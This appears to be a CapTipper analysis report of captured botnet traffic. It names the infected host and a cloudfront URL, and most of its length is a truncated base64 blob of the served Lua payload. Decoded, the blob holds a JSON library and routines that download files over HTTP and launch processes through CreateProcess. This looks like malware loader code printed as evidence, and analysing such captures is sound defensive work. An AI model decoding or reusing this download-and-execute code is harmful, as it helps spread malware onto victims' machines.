PCAP File | Analysis Time | CapTipper Version | Traffic Time |
---|---|---|---|
/opt/Malware-Project/BigDataset/Scenarios/CTU-Malware-Capture-Botnet-101//2014-12-20_capture-win8.pcap | 08/03/16 12:23:04 | 0.2 b10 | 09/03/72 13:48:50 |
IP | 10.0.2.108 |
MAC | 08:00:27:fb:bb:39 |
USER-AGENT | LuaSocket 2.0.2 |
d3i99zzzz73fcn.cloudfront.net (54.230.128.106:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
0 | /v2/tfn5306351516.html | text/html | tfn5306351516.html | 200 OK | TEXT | 46.2 KB | 09/03/72 13:48:50 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
dXJuIGU7CmVuZAplbmQKZnVuY3Rpb24gdC51cmxlbmNvZGUoZSkKaWYoZSl0aGVuCmU9c3RyaW5n
LmdzdWIoZSwiXG4iLCJcclxuIikKZT1zdHJpbmcuZ3N1YihlLCIoW14ldyAlLSVfJS4lfl0pIiwK
ZnVuY3Rpb24oZSlyZXR1cm4gc3RyaW5nLmZvcm1hdCgiJSUlMDJYIixzdHJpbmcuYnl0ZShlKSll
bmQpCmU9c3RyaW5nLmdzdWIoZSwiICIsIisiKQplbmQKcmV0dXJuIGUKZW5kCmZ1bmN0aW9uIGdl
dGh0dHBzaXplKGUpCmxvY2FsIGEsdCxlPXMucmVxdWVzdHttZXRob2Q9IkhFQUQiLHVybD1lfQpp
ZiB0PT0yMDAgdGhlbgpyZXR1cm4gdG9udW1iZXIoZVsiY29udGVudC1sZW5ndGgiXSk7CmVuZApl
bmQKZnVuY3Rpb24gdC5nZXRieWh0dHAobyx0KQpsb2NhbCBlPWZhbHNlOwpsb2NhbCBpPSIiOwpp
ZiB0IHRoZW4KbG9jYWwgYT10IGFuZCBpby5vcGVuKHQsIndiIilvciBvcy50bXBuYW1lKCk7Cmxv
Y2FsIGE9ci5zaW5rLmZpbGUoYSBvciBpby5zdGRvdXQpOwppZiB0IHRoZW4KYT1yLnNpbmsuY2hh
aW4ocHJvZ3Jlc3NfZmlsdGVyKGdldGh0dHBzaXplKG8pKSxhKTsKZT10cnVlOwplbmQKbG9jYWwg
dD0KewpbIkV4cGlyZXMiXT0iVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQiLApbIkNhY2hl
LUNvbnRyb2wiXT0ibm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hl
Y2s9MCwgcHJlLWNoZWNrPTAiCn07CmxvY2FsIGEsdCxhLGE9cy5yZXF1ZXN0CnsKdXJsPW8sCmhl
YWRlcnM9dCwKc2luaz1hCn07CmlmIHR+PTIwMCB0aGVuCmU9ZmFsc2U7CmVuZAplbHNlCmU9dHJ1
ZTsKaT1zLnJlcXVlc3Qobyk7CmVuZApyZXR1cm4gZSxpOwplbmQKZnVuY3Rpb24gdC5zcGxpdChh
LGUsdCkKaWYgc3RyaW5nLmZpbmQoYSxlKT09bmlsIHRoZW4KcmV0dXJue2F9CmVuZAppZiB0PT1u
aWwgb3IgdDwxIHRoZW4KdD0wCmVuZApsb2NhbCBvPXt9CmxvY2FsIG49IiguLSkiLi5lLi4iKCki
CmxvY2FsIGU9MApsb2NhbCBpCmZvciBuLGEgaW4gc3RyaW5nLmdmaW5kKGEsbilkbwplPWUrMQpv
W2VdPW4KaT1hCmlmIGU9PXQgdGhlbiBicmVhayBlbmQKZW5kCmlmIGV+PXQgdGhlbgpvW2UrMV09
c3RyaW5nLnN1YihhLGkpCmVuZApyZXR1cm4gbwplbmQKZnVuY3Rpb24gdC5leGVjdXRlKGEsbyxl
KQppZiBvfj1uaWwgdGhlbgppZiBlPT1uaWwgdGhlbgplPWZhbHNlOwplbmQKaWYgQ3JlYXRlUHJv
Y2Vzc0FzVXNlcihhLGUpdGhlbgplbmQKZWxzZQp0LmRlYnVnKCJFeGVjdXRpbmcgYXMgTG9jYWwg
U3lzdGVtIik7CmlmIENyZWF0ZVByb2Nlc3MobmlsLGEsbmlsLG5pbCwwLHczMlsiQ1JFQVRFX05F
V19DT05TT0xFIl0sbmlsLG5pbCl0aGVuCmVsc2UKZW5kCmVuZAppZiBHZXRMYXN0RXJyb3IoKT4w
IHRoZW4KdC5kZWJ1ZygiRXhlY3V0ZSBVbnN1Y2Nlc3NmdWwiKTsKdC5kZWJ1ZygiTEFTVCBFUlJP
UjogIi4uR2V0TGFzdEVycm9yKCkpOwplbHNlCnQuZGVidWcoIkV4ZWN1dGUgc3VjY2Vzc2Z1bCIp
OwplbmQKcmV0dXJuIHRydWU7CmVuZApmdW5jdGlvbiB0LmZpbGVwYXJ0cyhlKQpyZXR1cm4gc3Ry
aW5nLm1hdGNoKGUsIiguLSkoW15cXF0tKFteJS5dKykpJCIpOwplbmQKZnVuY3Rpb24gdC5yZWFk
ZmlsZShvKQpsb2NhbCBhOwppZiBDcmVhdGVGaWxlfj1uaWwgdGhlbgpsb2NhbCBlPUNyZWF0ZUZp
bGUobyx3MzJbIkdFTkVSSUNfUkVBRCJdLHczMlsiRklMRV9TSEFSRV9SRUFEIl0sbmlsLHczMlsi
T1BFTl9FWElTVElORyJdLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09
LTEgb3IgZT09dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5m
b3JtYXQoIlJlYWRmaWxlOiAlcyBFcnJvcjogJXMgKCVzKSIsbyxHZXRMYXN0RXJyb3IoKSxlKSk7
CmVsc2UKbG9jYWwgdD1HZXRGaWxlU2l6ZUV4KGUpOwppZiB0PjAgdGhlbgpoLGE9UmVhZEZpbGUo
ZSx0KTsKZW5kCmVuZAppZiBlIHRoZW4gQ2xvc2VIYW5kbGUoZSk7ZW5kCmVsc2UKbG9jYWwgZT1p
by5vcGVuKG8sInJiIik7CmlmIGUgdGhlbgphPWU6cmVhZCgiKmEiKQplOmNsb3NlKCkKZW5kCmVu
ZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQud3JpdGVmaWxlKG8saSxlKQpsb2NhbCBhPTA7Cmlm
